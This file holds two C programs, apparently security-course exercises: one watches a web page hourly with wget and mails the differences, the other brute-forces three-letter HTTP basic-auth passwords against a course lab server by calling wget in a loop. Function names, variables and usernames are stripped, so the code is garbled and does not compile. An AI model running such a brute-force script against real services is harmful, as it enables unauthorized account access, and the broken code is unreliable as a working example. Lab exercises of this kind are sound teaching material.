
#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
int flag=1;
const char delimiter[]=" \n\t";
FILE *fp1;
char line1[100];
char filename1[50];
char *token;

while(1)
{
system("wget http://www.cs.rmit.edu./students/ ");
system("mv index.html test1");
sleep(3600);
system("wget http://www.cs.rmit.edu./students/ ");
system("mv index.html test2");
system("diff test1 test2 >test3");
system("file test3 >test4"); 
strcpy(filename1,"test4");
if((fp1=fopen(filename1,"r"))==NULL){
printf("cannot open file\n");
exit(1);
}
fgets(line1,sizeof(line1),fp1);
token=strtok(line1,delimiter);
        while(token!=NULL)
                {
if(strcmp(token,"empty")==0)
{
printf(" CHANGES\n");
flag=0;

}
token=strtok(NULL,delimiter);

                 }
if(flag==1)
{
system("mail  < test3");
}
fclose(fp1);
}
return(0);
}

#include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<ctype.h>
#include <sys/time.h>
#define OneBillion 1e9


int ()
{   int startTime, stopTime, final;
    int i,j,k;
    int pass,count=0;
    char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'};
    char [4];
    char url1[100];
    char url2[100];

    startTime = time();
   for (i=0;i<=52;i++)
   {

     for (j=0;j<=52;j++)
       {

	for(k=0;k<=52;k++)

	  { 
	     count++;
             [0] = arr[i];
	     [1] = arr[j];
	     [2] = arr[k];
	     [3] = '\0';


	     printf("Checking for the word :%s\n",);
	     strcpy(url1 ,"wget --http-user= --http-passwd=");
	     strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");
	     strcat(url1,);
	     strcat(url1,url2);


	     pass = system(url1);
	     if (pass == 0)
	     {   
                printf("Success\n");
		printf("Number of attempts = %d\n",count);
	        stopTime = time();

                final = stopTime-startTime;
		printf("The password for the user  : %s\n",); 
                printf(" Cracked the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion);
	        
		exit(1);}


	      }
        }

   }
 }


